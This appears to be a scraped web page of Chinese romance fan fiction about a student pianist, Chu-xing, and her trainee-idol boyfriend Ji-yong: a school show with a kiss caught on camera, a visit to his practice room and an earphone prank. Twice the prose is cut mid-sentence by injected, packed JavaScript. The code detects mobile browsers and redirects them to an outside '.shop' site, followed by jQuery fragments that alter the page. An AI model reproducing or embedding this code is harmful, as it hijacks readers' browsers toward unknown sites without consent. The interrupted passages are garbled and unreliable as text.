清澈而富有感情的琴声流淌出来,是肖邦的一首夜曲,舒缓而略带忧伤,却又蕴含着内在的力量。初星微微垂着眼帘,专注地演奏着,纤细白皙的手指在黑白琴键上优雅地跳跃,侧脸在灯光下显得格外柔美宁静。至龙透过小小的取景框,贪婪地记录下她的每一个细微表情:轻蹙的眉头、微微颤动的睫毛、偶尔抿起的唇角,以及指尖每一次的起落。他录得极其认真,连呼吸都下意识地放轻了,生怕一丝声响都会惊扰了镜头里这唯美的画面。 一曲终了,余音袅袅。短暂的寂静后,礼堂里爆发出掌声。初星起身,面向观众微微鞠躬,脸上带着得体的微笑。她的目光在台下搜寻,很快便对上了至龙所在的方向。他依然举着相机,脸上是毫不掩饰的激动和欣赏的笑容,还不忘腾出一只手,用力地朝她竖了个大拇指,两人隔着攒动的人头相视一笑。 压轴节目便是至龙和永裴的唱跳表演。当熟悉的流行前奏响起,两人从舞台两侧登场时,全场顿时爆发出尖叫和欢呼。至龙和永裴褪去了平时的青涩,在舞台上气场全开,眼神、表情、舞蹈动作都充满了范儿。 永裴的嗓音温暖而富有穿透力,至龙的rap则流畅有力,带着他特有的swag,两人的声线完美融合。更令人惊叹的是他们的舞蹈,动作干净利落,卡点精准,配合默契十足,每一个眼神、每一个表情都充满了专业练习生的自信和舞台魅力,将全场气氛推向高潮!台下观众跟着节奏挥舞手臂,尖叫不断,整个礼堂仿佛成了一个小型演唱会现场。 初星坐在台下,仰头看着舞台上仿佛在发光的少年。汗水浸湿了他的额发,随着有力的舞动作飞洒,他的眼神锐利而专注,嘴角带着掌控全场的自信弧度。这是她很少见到的、属于另一个截然不同的世界的权至龙,她看得移不开眼。 所有的表演环节结束后,学生们依旧沉浸在兴奋和意犹未尽的情绪中,三三两两地聚在礼堂内外,嬉笑打闹,迟迟不愿散去。永裴用胳膊肘撞了一下正在和初星低声说话的至龙,朝着初星的方向努了努嘴,脸上带着促狭的笑容。旁边的珍雅也立刻会意,笑着起哄:“呀!今天的功臣们!一个琴弹得那么棒,一个舞台炸翻全场!是不是该合个影纪念一下这个历史性的时刻啊?” 至龙耳朵微红,但还是揽住了初星的肩膀,将她往自己身边带了带。初星也顺从地靠在他身边,脸上带着轻松的笑容。 “来来来,看这边!”永裴拿着相机,负责拍照。珍雅在旁边笑着指挥:“笑得开心点哦!” 至龙看着镜头,笑得阳光灿烂,手臂稳稳地环着初星。初星也对着镜头露出甜美的笑容。在永裴数着“一、二……”,即将按下快门的那个瞬间—— 至龙心念一动,趁着初星注意力完全集中在镜头上,飞快地侧过头,在她光洁的脸颊上响亮地、结结实实地亲了一口! “咔嚓!” 快门声将这一幕精准定格:照片里,初星漂亮的脸上笑容还未褪去,却因这突如其来的亲吻而瞪大了眼睛,流露出明显的惊讶和羞涩;而至龙则笑得一脸得意和满足,仿佛干了件多么了不起的事。 “哇哦!!!”离得最近的永裴和珍雅看到了这一幕,同时爆发出巨大的起哄声和笑声。 “至龙你可以啊!偷袭!”永裴大笑着喊道。珍雅也笑得弯下腰:“初星啊!表情管理失败啦!哈哈哈!” 周围的其他同学被他们的笑声吸引,好奇地看过来,但距离稍远,并没看清具体发生了什么,只当是好朋友间玩闹。 初星的脸在那一刻“唰”地一下变得通红,像熟透的番茄!虽然私下里两人也有过,但在这么多同学面前,尤其是还被相机清晰地记录下了她最措手不及的瞬间,她顿时觉得羞窘万分,一股热流从脚底直冲头顶!她用手肘轻轻撞了一下至龙紧贴着她侧腰的手,“呀!权至龙!你……你干嘛突然这样!” 至龙挨了一下不痛不痒的撞击,却笑得更加开怀和得意,手臂收得更紧了些,防止他的“小公主”羞愤“逃跑”,还故意凑近她通红的耳边,压低声音,理直气壮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680926|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的说:“怎么了?我亲我自己的女朋友,又不犯校规。” 温热的气息拂过她敏感的耳廓,让初星的脸更烫了。 “你……!”初星被他这话噎住,脸更红了,不好意思地低下头,嘴角却抑制不住地微微上扬。 永裴和珍雅还在旁边笑着持续输出:“哎一古,没眼看没眼看!”“太甜蜜了叭!考虑一下我们单身人士的感受啊!” 至龙大大方方地接受着好友的调侃,甚至还对着镜头再次比了个胜利的“V”字手势,笑容灿烂得晃眼。而初星则把滚烫的脸颊微微埋向至龙的肩膀,试图躲开大家戏谑的视线,但她那红得透明的耳朵尖,却清清楚楚地暴露了她此刻复杂又甜蜜的心情。 夜色渐浓,喧嚣渐渐散去。晚风带着凉意吹拂过来。至龙把自己的薄外套脱下来,披在只穿着连衣裙的初星肩上。 “不用了,我不冷……”初星想推辞。 “穿着,”至龙语气温和却不容拒绝,仔细地帮她拢好衣领,指尖不经意擦过她的脖颈,带来一丝微痒,“晚上风凉,刚出了汗,别感冒了。”外套上还残留着他的体温和淡淡的、阳光混合着汗水的气息,将她包裹。 两人沿着路灯昏黄的街道,慢慢朝着初星家的方向走去。光影将他们的影子拉长又缩短,交织缠绵。 “今天开心吗?”至龙侧过头,看着身旁女孩在夜色中显得格外柔和的侧脸,轻声问道。 “嗯,”初星点点头,想起白天的琴声、他闪耀的舞台,还有那个令人脸红心跳的插曲,忍不住抿嘴笑了笑,“挺开心的。就是……” “就是什么?”至龙追问,眼神带着笑意。 “就是你下次……别那么突然了,”初星小声嘟囔,脸上刚褪下去的热度又有点回升的趋势,“好多人都看着呢……多不好意思啊……” 至龙看着她这副害羞又强装淡定的模样,心里痒痒的,故意逗她:“哪样?是这样吗?”他作势又要凑过去,假装要亲她。 “呀!”初星轻呼一声,笑着侧身躲开,用手轻轻推他,“跟你说认真的呢!不许再这样了!” 至龙哈哈笑起来,声音在安静的街道上传出很远:“好好好,遵命!初星小姐!下次我一定提前打报告,行了吧?”他停下脚步,装模作样地清清嗓子,一本正经地问:“报告!初星同学,请问我现在可以亲你一下吗?请求批准!” “不行!驳回!”初星红着脸瞪他,嘴角却抑制不住地向上弯起,眼里闪着羞赧而愉悦的光。 走到初星家楼下,至龙依依不舍地松开一直牵着的手。楼道里的声控灯应声亮起,投下温暖的光晕。 “那我上去了?”初星把肩上的外套脱下来,递还给他。 “嗯,”至龙接过外套,目光温柔地流连在她脸上,“晚安,初星。” “晚安,至龙。”初星点点头,转身走上台阶。 走到楼道口,她停下脚步,回头看了一眼。至龙还站在原地,双手插在裤袋里,身影在路灯下被拉得修长。看到她回头,他脸上立刻绽放出大大的笑容,用力地朝她挥了挥手。 初星也对他笑了笑,这才转身走进楼道。 回到家中,客厅里只亮着一盏小夜灯,妈妈已经休息了。初星轻手轻脚地走到自己房间,书桌上的电脑屏幕还暗着。她犹豫了一下,还是按下了主机电源键。伴随着老式CRT显示器特有的嗡鸣和逐渐亮起的屏幕,等待着系统缓慢启动。 过了一会儿,她点开了MSN (当时在韩国,MSN和Cyworld是更流行的社交方式)。登录后,果然看到永裴的头像在跳动,点开对话窗口,永裴发来了一条文字消息:「哈哈,今天拍的照片太经典了!发你邮箱了!注意查收!」 初星的心跳微微加速,点开下载,里面是好几张照片,其中一张的文件名格外显眼,「至龙的偷袭瞬间.jpg」。 她打开了那张照片。照片里她惊讶害羞的样子确实有点傻乎乎的,但至龙笑得那么开心,那么灿烂,仿佛拥有了全世界。她的脸颊又开始微微发烫,但嘴角却忍不住上扬。随后小心翼翼地将这张“罪证”也是甜蜜的纪念,保存到电脑里。 37. 探班与约定 烈日毫不留情地炙烤着首尔,空气仿佛凝固了,黏稠而闷热。对于高三学生而言,这是高考前最后一个可以稍作喘息、却又被各种补习和升学压力填满的假期。而对于权至龙来说,暑假则意味着更加密集的训练。他几乎是以练习室为家,每天重复着枯燥到令人麻木的基本功训练、汗流浃背的舞蹈排练和嗓音嘶哑的声乐课,身体的疲惫几乎达到了极限。 已经连续好久,他只能在凌晨拖着灌了铅般的双腿回到宿舍,连给初星发条“晚安”信息的力气都快耗尽,更别提见面了。思念像藤蔓,在忙碌的间隙悄然疯长,缠绕着他的心脏。 下午,又是一轮令人筋疲力尽的舞蹈训练后,短暂的休息时间。至龙瘫坐在冰凉的地板上,背靠着巨大的落地镜,汗水顺着下颌线不断滴落,在练习服上洇开深色的痕迹。练习室里只剩下他一个人,永裴和其他几个练习生被老师叫去开会了。空荡荡的空间里,只有空调运转的低鸣和他自己粗重的喘息声。 至龙摸出手机,屏幕被汗水模糊了。他胡乱擦了一下,点开和初星的聊天界面,指尖带着依赖的急切,敲下了一连串的信息,黏糊糊的,充满了撒娇和委屈: 「初星啊~好累啊……感觉身体被掏空了……练习快坚持不下去了……」 「要是现在能看到你,哪怕就一眼,我肯定立刻原地复活,充满电了!」 「能不能……来给我探个班啊?就一会儿?十分钟也行!或者……给我送点好吃的过来?什么都行?? 想吃你买的东西……」 信息发出去后,至龙把发烫的手机贴在同样滚烫的额头上,闭上眼睛,想象着她收到信息后可能的表情和反应。 过了一会儿,手机震动了一下。他立刻睁开眼点开。 初星的回复跳了出来,带着她一贯的、略带傲娇的体贴,仿佛能透过文字看到她微微扬起下巴的样子: 「看情况吧。外面太阳那么大,热死了,不想动。而且你练习那么忙,我去会不会打扰你?影响你状态怎么办?」 虽然没有明确答应,但熟悉她脾气的至龙,从这看似推脱的话语里捕捉到了松动的迹象!她没说“不行”,而是“看情况”,还关心会不会“打扰他”!这基本就是同意的信号了!他几乎要从地板上跳起来!脸上控制不住地露出一个计划得逞的笑容。 但他强压下回复“快来!”的冲动,“狡猾”的念头冒了出来。他故意等了几分钟,才用一种故作坚强、又带着点失落的口吻回复: 「没关系……你不来我也理解的。练习生就是这样嘛……我会自己继续努力练习的!(坚强.jpg)」 发完这条,他从地上一跃而起,身上的酸痛仿佛都减轻了不少。跑到窗边,偷偷撩开百叶窗的一角,往下张望,心里飞快地计算着时间:从初星家到公司,坐公交车大概需要二十分钟,加上她出门前收拾一下……大概四十分钟后,她应该会到楼下。 随后至龙并没有像信息里表现得那样望眼欲穿、坐立不安地等着,反而重新打开了音乐,更加投入、甚至带着一种表演性质的卖力,继续练习起来!他故意拖到了练习结束,其他队员都陆续离开后,还一个人留在空旷的练习室里,对着镜子反复打磨一个其实已经熟练的动作,时不时装作不经意地瞥一眼墙上的时钟。 他心里打着小算盘:如果让她在楼下等一小会儿,自己再“意外”出现,表现出那种“完全没想到你会来”的惊喜和因为她等待而产生的“愧疚”,效果会不会更好?会不会让她更心软?更心疼他? 时针指向他预估的时间,他猜初星应该在楼下等了一会,才关掉音乐,用毛巾胡乱擦了把汗,做出一副刚结束漫长而艰苦的练习、疲惫不堪、要虚脱的样子,慢吞吞地收拾好东西,一步三晃地走下楼。 果然,刚一出大楼,至龙一眼就看到了那个站在不远处树荫下、穿着淡蓝色连衣裙、手里还提着印着便利店logo的小袋子的熟悉身影。初星正微微蹙着眉,低头看着手机屏幕,另一只手无意识地扇着风,白皙的额角能看到细密的汗珠。 他心里乐开了花,但脸上却瞬间切换成极度惊讶、完全没想到的表情,夸张地揉了揉眼睛,似乎不敢相信似的,快步走过去,声音里充满了“难以置信”和“惊喜”:“初星?!你怎么会在这里?!” 初星听到声音抬起头,看到至龙一脸“惊喜”、满头大汗地跑过来。她等得有点久,七月的午后阳光毒辣,即使站在树荫下也感觉闷热难耐,心里积攒着不耐烦和燥意,看到他这副全然不知情的样子,更是气不打一处来。 “你说我为什么在这里?”她没好气地把手里那个装着冰咖啡和一小块芝士蛋糕的袋子递过去,“不是你发信息可怜兮兮地说需要充电、想吃东西吗?” 至龙接过还带着凉意的袋子,脸上依旧保持着“惊讶”和“感动”,用手捂了捂胸口:“我真的……我真的只是练习太累,随口抱怨一下的!没想到你真的会来!我太高兴了!你真是我的救星!”他试图去拉初星的手,想用亲昵的动作化解她的不满。 初星却把手往后一缩,漂亮的眼睛瞪着他,脸颊因为炎热和生气泛着红晕,带着清晰的不满和委屈:“权至龙,我在这里等了快二十分钟!给你发信息问你练完了没,你也不回!你练习是练到与世隔绝、失去时间观念了吗?”她是真的有点生气了,觉得自己像个傻子一样,顶着大太阳跑来,结果还要在楼下干等,对方却一副浑然不觉的样子。 至龙一看她真的生气了,眼圈似乎都有点红了,心里那点小得意和算计立即消失得无影无踪,取而代之的是真实的慌乱和心疼。他收起演戏的心思,连声道歉: “对不起!对不起初星!我真的不是故意的!”他急切地解释,“我下午那组舞蹈动作一直练不好,被老师说了,心里憋着股劲,就想着多练一会儿,一定要把它啃下来……练得太投入了,根本忘了看时间,手机也调了静音扔在包里……我真的不知道你来了,还在楼下等我……对不起!都是我不好!让你等这么久,热坏了吧?” 他连珠炮似的道歉,额头上急出了新的汗水,也分不清是热的还是慌的。他小心翼翼地观察着她的脸色,看到她紧蹙的眉头松动了一丝,赶紧趁热打铁:“你别生气……我请你吃冰淇淋赔罪?或者你想吃什么都可以!我们现在就去!” 初星看着他急得抓耳挠腮、一脸懊悔、不像是在说谎的样子,再想到他练习确实辛苦,压力又大,心里的气消了一大半,取而代之的是心疼。她其实也知道,他可能真的不是故意的,只是自己还是有点生气。 “……算了,”她叹了口气,神色缓和下来,“下次记得看手机。练习再忙也要适时休息,别把自己逼得太紧。” “嗯嗯嗯!一定!绝对没有下次了!我保证!”至龙见她雨过天晴,举起三根手指发誓,献宝似的拿出那杯冰咖啡,插好吸管递到她面前,“你快喝一口,降降温。是不是很热?脸都晒红了。” 初星接过咖啡,冰凉的触感确实让她舒服了不少。她看着他那副小心翼翼、如释重负又殷勤备至的样子,终于忍不住笑了笑:“帕布。”(笨蛋) “我是帕布!最大的帕布!”至龙从善如流,见她笑了,心里的大石头才彻底落地,但紧接着涌上来的就是后知后觉的心疼。他握住她的手,感觉到她的指尖还有些被太阳晒后的微热,再想到她一个人孤零零地在楼下等了那么久,可能还被蚊子叮咬……心里就懊悔得不行,觉得自己那点原本带着玩笑性质的“小算计”此刻显得无比幼稚和可恶。 “初星啊,”他收起笑容,表情变得认真起来,手指轻轻摩挲着她的手背,“以后绝对不要在楼下这样傻等了,听到没有?”他的眼神专注而严肃,带着点强势。 初星正喝着冰咖啡,闻言抬眼看他,有些不解:“嗯?” “以后,”至龙看着她嘱咐,“如果你再来找我,直接上来练习室。知道在哪吗?就这栋楼,三楼,最里面那间,门口贴着‘A组练习室’的那个。”他语气更加坚决,“直接推门进来就行。不用敲门,不用管里面有没有别人在练习,不用怕会打扰到我们。任何时候,你来了,就是我最重要的事,比任何练习、任何考核都重要一万倍。” 他的眼神完全没有了平时撒娇耍宝的样子:“我不想你再像今天这样,一个人在下面等那么久,又热又无聊……万一中暑了怎么办?或者被蚊子咬?想想我就……”他说不下去了,眉头紧紧皱着,脸上是毫不掩饰的心疼和懊恼。 初星看着他这副如临大敌、又懊恼又心疼的样子,心里那点残留的不快消失了。她看着他紧锁的眉头,伸出手指,轻轻点了点他的眉心:“知道了。干嘛这么严肃……跟要打架似的……” 至龙抓住她的手指,紧紧握在手心:“答应我?下次直接上来?不许再在下面等?” “好啦好啦,答应你。”初星点点头,“下次我就直接上去查岗,看看你有没有偷懒,或者……有没有跟别的女生一起练习。” “随时欢迎查岗!热烈欢迎!”至龙眉头这才舒展开,脸上重新露出灿烂的笑容,“我保证表现得比谁都好!眼里心里只有练习和……你!” 他重新拉起初星的手,心情轻松无比,“走吧!我知道附近新开了一家雪冰店,听说芒果味的超级好吃!给你点最大份的!就当是我这个帕布赔罪,还有……嗯,提前奖励你下次直接上来找我!” “这还差不多。”初星傲娇地扬起下巴,任由他拉着自己,朝不远处那家看起来凉爽舒适的甜品店走去。 …… 没过几天,思念再次如同盛夏的野草,在至龙心里疯长。又是一轮高强度的 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当她拎着好几袋沉甸甸的东西,走到那间熟悉的“A组练习室”门口时,听到里面传来节奏强烈的音乐声和整齐划一的脚步声、以及偶尔的计数声。没有犹豫,直接推开了一条门缝。 音乐声瞬间放大。练习暂时中止,好几个满身是汗、头发都湿漉漉贴在额头的男孩都好奇地循声看过来。永裴最先看到门口的身影,眼睛一亮,立刻用手肘猛撞身边还在对着镜子抠细节、累得眼神都有些发直的至龙,挤眉弄眼地用夸张的口型无声地说:“呀!至龙!你的初星宝贝来了!” 至龙猛地回头,汗水随着动作甩出一道弧线。他一眼就看到了门口的初星,那双原本因疲惫而有些暗淡的眼睛亮得惊人!他像只看到主人回家的大型犬,立刻丢下毛巾,三步并作两步扑了过去,“初星!你真的来了!” 但下一秒,他的目光落在初星手里那好几个沉甸甸的袋子上,心疼地一把接过去:“你怎么买这么多东西?重不重啊?这么远提过来!怎么不叫我下去接你?!” “没事的,不重的,就当锻炼了。”初星笑了笑,轻轻活动了一下被勒出红印的手指,随后对练习室里其他几个有些腼腆又好奇地看着她的男孩礼貌地点点头,最后落在笑嘻嘻走过来的永裴身上,“你们好,我买了一些饮料和点心,不介意的话一起吃点吧?练习辛苦了。”她说着,从袋子里拿出给大家的份。 “哇!谢谢学姐/嫂子!”男孩们惊喜地围过来,七嘴八舌地道谢,气氛活跃起来。永裴也凑过来,毫不客气地拿起一杯冰美式,吸了一大口,笑着对初星说:“还是我们初星最好了!就知道某些人靠不住,心思早飞了,还得是你来慰劳我们受苦受难的胃!”他故意揶揄地瞥了至龙一眼。 初星被大家叫得有点不好意思,把单独给至龙和永裴买的那份拿出来,小声对志龙说:“这是你和永裴的,你们喜欢的口味。” 至龙心里又甜又暖,但看着她为自己和朋友们忙活,还是心疼占了大半。他接过袋子,没有立刻去分,拉着初星的手腕,走向角落里一个刚刚没凑过来、正安静地喝着水、气质看起来比其他人稍显成熟沉稳的男生。 “初星,给你正式介绍一下,”至龙的表情变得稍微正式了些,带着对兄长的尊重,“这位是崔胜铉,和我是从小认识的好朋友,比我大一点,你叫他胜铉哥就行。”他又转头带着炫耀和认真给崔胜铉介绍,“哥,这就是初星。裴初星。” 崔胜铉放下水瓶,对初星露出一个温和的笑容,点了点头,“你好,初星。常听至龙和永裴提起你。谢谢你带来的吃的,辛苦了。”永裴也凑过来,亲昵地勾住崔胜铉的肩膀,补充道:“没错!胜铉哥是我们最好的大哥!就是不太靠谱!” 初星礼貌地微微鞠躬,态度落落大方,又带着对至龙好友圈的尊重:“胜铉欧巴,你好。以后请多关照。” 崔胜铉笑了笑,目光在至龙和初星之间扫了一下,带着点兄长的调侃:“别客气。至龙这小子,运气真好。” 至龙像被踩了尾巴的猫一样嚷嚷起来,试图维护自己的“尊严”:“呀!哥!明明是我眼光好好嘛!是我追的初星!” 永裴毫不留情地大笑补刀:“得了吧!明明是初星眼光不好,一时糊涂才选了你!” 看着至龙在最亲近的朋友们面前跳脚的样子,初星站在他身边,忍不住抿嘴笑了,心里有一种奇妙的安定感。 简单的寒暄和分享食物后,短暂的休息时间也差不多了。至龙拉着初星走到墙边那条供休息的长凳旁,用毛巾仔细擦了擦一块地方。“你坐这里看我们练习好不好?”他眼神亮晶晶地看着她,声音里带着点撒娇和期待,“就一会儿,等练习完我就送你回去。” 初星点点头,顺从地坐下,“好,你们忙你们的,不用管我,当我不存在就好。” 音乐再次响起,男孩们重新投入到紧张的练习中。汗珠再次从他们的额头、鬓角渗出,随着有力的动作挥洒。 38. 恶作剧 高强度训练后的休息时间,其他练习生已经陆续离开,只剩下权至龙还在练习。 偶尔,至龙会在走位或转身的间隙,目光不由自主地飘向安静坐在角落的初星。看着她乖巧等待的样子,想起刚才她落落大方地和他的队友、尤其是和胜铉哥打招呼的场景,心里就软得一塌糊涂。他的初星真是奇妙,在他面前总是有点小坏,任性又傲娇,变着法儿地“欺负”他,可一到外人面前,尤其是在融入他世界的时候,却又做得那么妥帖周到,轻而易举就获得了自己最重视的朋友们的认可。永裴那个偷偷竖起的大拇指和挤眉弄眼的表情又浮现在眼前,至龙嘴角忍不住勾起一个傻乎乎的笑容,心里满是骄傲和幸福感。 初星安静地坐在墙边的长凳上,手肘支着膝盖,托着下巴,目光静静地追随着镜子里那个挥汗如雨的身影。看着他专注到近乎苛刻的样子,心里既心疼又带着一丝骄傲。她的目光不经意间扫过音响旁随意放置的那副白色耳机——那是她之前送他的生日礼物,他几乎练习时都会戴着。 看着那副耳机,初星想起几天前的那个下午,自己也是这样在练习室楼下,顶着毒辣的日头,痴痴地等了他将近二十分钟,而他却在楼上浑然不觉,沉浸在练习的世界里。虽然后来他心疼又懊悔,还立下了“直接上来”的规矩,但那份被“晾”在楼下的委屈和燥热感,此刻仿佛又被眼前的耳机勾了起来。 哼,让你刚才还在那里对着镜子傻笑,一脸得意洋洋的样子,肯定又在美滋滋地想我多么“识大体”、多么给你“长脸”吧?是不是忘了之前让我等得有多惨了?一股小小的、带着点顽皮和“报复”意味的恶作剧念头在她心底滋生蔓延。 她趁至龙背对着她、全心对着镜子调整动作时,轻手轻脚地走过去,飞快地将那副耳机塞进了自己的短裤口袋里,随后又若无其事地坐回长凳上。 过了一会儿,至龙终于停下,长长地舒了一口气,胸腔剧烈起伏着。他拿起地上的毛巾,胡乱地擦着脸上和脖子上的汗水,转身朝着初星的方向走来。 初星看着他走过来,露出略带期待的表情,语气轻松地开口:“对了,欧巴,我之前送你的那副耳机,你带了吗?我有点无聊,想拿来听会儿音乐。”她眨着眼睛,看起来毫无心机。 “嗯?带了呀,刚才还用了呢。”至龙不疑有他,转身去音响那边找,“我记得就放这……咦?”他摸索了一下,发现耳机不见了踪影,“奇怪,跑哪去了?” 他开始低头在附近的地面上寻找,又翻了翻自己的背包:“明明就放在这里的……” 看着他真的开始认真寻找,甚至有点着急的样子,初星心里那点小得意开始发酵。她努力压下嘴角的笑意,脸上的表情慢慢转变,从期待变成疑惑,再慢慢染上一点委屈和生气。 “找不到吗?”她的声音低了一些,带着点“颤音”,“是不是……弄丢了?” “不可能啊,我刚刚还用……”至龙话没说完,一抬头,对上了初星那双此刻显得有些水汽氤氲、带着控诉的眼睛,心里“咯噔”一下。刚才那份因为她融入自己圈子而产生的骄傲和幸福感,瞬间被闯祸了的慌张取代。尤其弄丢的还是她送的礼物,这简直罪加一等! 只见初星微微嘟起嘴,语气变得又软又埋怨,还带着十足的委屈:“那是我特意挑了很久才送给你的……你就这么不小心吗?是不是根本没有把我送的东西放在心上?” 她越说越“生气”,猛地站起身,扭过头不去看他,“我就知道……你整天就知道练习练习!永裴欧巴还夸我好,我看你根本就没那么在意!” 说完,她像是伤心至极,转身就朝练习室外走去。 “初星!等等!不是那样的!”至龙慌忙想拉住她解释。 “不准跟着我!”初星头也不回,有些“哽咽”,脚步更快了,“我现在不想理你!” 至龙伸出的手僵在半空,被她的严厉禁止定在了原地,只能眼睁睁看着她消失在门口。练习室的门“砰”地一声被关上,隔绝了他的视线。 世界霎时安静得只剩下他急促的呼吸和慌乱的心跳。至龙颓然地跌坐在冰凉的地板上,脑袋无力地耷拉下来。 他脑子里反复回放着初星刚才委屈又生气的话——“你是不是根本没有把我放心上?”“我看你根本就没那么在意!”……还有永裴那个肯定的大拇指。强烈的对比让他懊恼又沮丧。他怎么会把她送的耳机弄丢了呢?他明明那么宝贝的。她刚才在大家面前那么好,那么给他面子,结果转头自己就干了这么件蠢事……她一定是真的失望了,所以才那么生气地走了。 他就这么垂头丧气地坐了好几分钟,练习镜里映出他孤单又落魄的身影,与刚才那个在朋友面前自信飞扬的少年判若两人。刚才的甜蜜和幸福仿佛成了遥远而不真实的幻觉。 他沮丧地叹了口气,认命般地站起身,拖着沉重的脚步,准备离开这个让他“犯错”的伤心地。 刚走了几步,还没走到储物柜,忽然,身后传来一声再也憋不住的、清凌凌的笑声。 “噗嗤——” 至龙的脚步顿住,整个人像被施了定身咒一样僵在原地。 他愕然回头,只见练习室的门被从外面推开一条缝,初星那颗小脑袋从门后探了出来,脸上哪里还有半点泪水和怒气?分明带着恶作剧得逞的、狡黠又明亮的笑容,眼睛弯成了好看的月牙儿,笑得像只成功偷到了小鱼干、正得意洋洋炫耀的小猫咪。 在他大脑几乎停止运转的目光中,她得意地晃了晃手中那个让他“苦苦寻觅”、甚至因此自责不已、懊恼万分的物件——正是他那副“不翼而飞”的白色耳机!那白色的耳机线还从她牛仔短裤的口袋里牵出来一小截,显然刚才就被她藏在了那里! “傻瓜至龙,”她的声音里充满了抑制不住的笑意和顽皮,“找不到的时候,就不会动动脑子想想,是不是被哪里来的小狐狸给偷偷叼走了吗?” 至龙脸上的错愕、茫然、自责和沮丧,迅速褪去,取而代之的是极度无奈、被戏弄后的“恼怒”、以及铺天盖地般涌上的宠溺。他眯起眼睛,嘴角却控制不住地想要向上扬起,最终这些情绪化作一个咬牙切齿却满载着浓得化不开的爱意的低吼:“初星!” 他像是被瞬间上了发条、充满了电的玩具,朝门口那个笑得花枝乱颤、计谋得逞的“小骗子”冲了过去! 初星见他完全反应过来,知道自己“在劫难逃”,尖叫一声,带着止不住的笑声转身想跑。但至龙的动作快得惊人,一下就跨越了两人之间的距离,结实的手臂从后面一把将她整个人拦腰抱了起来,牢牢地锁在自己怀里,让她双脚悬空,无处可逃。 “啊——放开我!坏蛋!偷袭!”初星在他怀里徒劳地蹬着腿,笑得喘不过气来,手里的耳机也跟着她的动作晃荡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680928|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “坏蛋?到底谁才是那个无法无天的小坏蛋?嗯?”至龙把她转过来,让她面对着自己,额头抵着她的额头,呼吸因为刚才情绪的剧烈起伏和短暂的奔跑而有些急促,眼神却像燃烧的星辰,语气听起来凶巴巴的,带着兴师问罪的架势,但环抱着她的手臂却温柔又坚定,丝毫没有弄疼她。“把我吓死了你知道吗?我以为你真的生气了,难过死了!心都凉了半截!你居然还敢跑?还敢笑?” “活该!”初星虽然被抓住了,但气势上绝不认输,用手指戳着他汗湿而坚硬的胸口,理直气壮地“控诉”,“谁让你之前让我在楼下等那么久!晒得我头晕!这是报复!知道错了吗?” “内~我知道了,我错了,我真的知道错了,我再也不敢了。”至龙从善如流地认错,态度“诚恳”,但随即又忍不住为自己辩解,“可是……你刚才演得也太像了吧!眼泪汪汪的,那么伤心……我都快急哭了,恨不得把练习室翻个底朝天……你怎么能这么欺负我?演技什么时候这么好了?” 他一边说,一边用自己汗湿的鼻尖去蹭她干净清爽的鼻尖。 “哎呀,好啦好啦,”初星被他蹭得痒痒的,微微偏开头,用手推了推他汗湿的胸膛,带着点小小的嫌弃和撒娇,“知道了知道了,下次不吓唬你了,你快松开我啦,身上都是汗,黏糊糊的,味道也不好闻……” 至龙非但没松手,反而像是找到了新的乐趣和“惩罚”她的方式,故意把她抱得更紧,让两人之间几乎没有缝隙,还坏心眼地用自己的脸颊去贴她干净清爽的小脸,把汗水也蹭到她脸上,耍起赖来。 “不放!就不放!”他声音响在她耳边,带着浓浓的笑意和十足的赖皮,“谁让你先骗我的?吓唬我就要付出代价!嫌我汗多?有味道?那就一起黏糊糊好了!我的味道你也得一起闻着!这叫有难同当!” “呀!权至龙!你无赖!”初星又好气又好笑,扭动着身体想躲开他的“汗水攻击”,却根本挣脱不开他铁钳般的怀抱,只能被他紧紧箍在怀里。 “哼,这次只是小小的警告。”初星放弃挣扎,瘫在他怀里,装作恶狠狠地说,“下次再敢让我等那么久,就不只是藏耳机这么简单了!” “不敢了不敢了,绝对没有下次了!我发誓!”至龙连忙保证,看着怀里她红扑扑的脸颊、亮晶晶的眼睛和因为笑而微微泛红的脖颈,眼里只剩下满心满眼的喜爱、纵容和被她吃得死死的甜蜜无奈。他把她的小脑袋按回自己的胸膛,发出满足的喟叹:“……你真是我的克星。真是栽在你手里了。” 初星也安静下来,脸颊贴着他起伏的胸膛,听着他急促的心跳声慢慢平复,变得沉稳有力,心里那点因为之前等待而产生的小小怨气早就烟消云散。 过了一会儿,至龙稍微松开她一点,但仍然环着她的腰,拿起她手里那只“罪证”耳机,故意板起脸,“这个,‘作案工具’,我没收了!” “凭什么!那是我的‘战利品’!是我凭本事藏起来的!”初星抗议道,伸手想去抢。 “就凭你用它吓唬我!害得我差点心脏停跳!”至龙把耳机塞进自己运动裤的兜里,然后牵起她同样有些汗湿的手,十指紧密地扣在一起,语气霸道又温柔,“走啦,小坏蛋,送你回去。路上再慢慢跟你算这笔‘吓唬我’的账!” 夕阳的金色余晖透过走廊尽头的窗户斜斜地洒进来,将两人依偎着、嬉笑打闹着的身影拉得很长很长。 39. 甜蜜的烦恼 空气愈发炎热,蝉鸣聒噪,暑假已过半,而距离权至龙的生日,也越来越近了。 午后,狎鸥亭的街道被烈日炙烤得有些发烫,但林荫下的精品店里却凉爽宜人。初星和好友珍雅悠闲地在潮流集合店里浏览着。衣架上挂满了当季最新款的T恤和衬衫,玻璃柜台里陈列着各式各样设计独特的配饰和潮玩。 珍雅拿起一顶限量版的棒球帽在手上把玩:“这个怎么样?至龙欧巴戴肯定很帅,而且很难买到哦。” 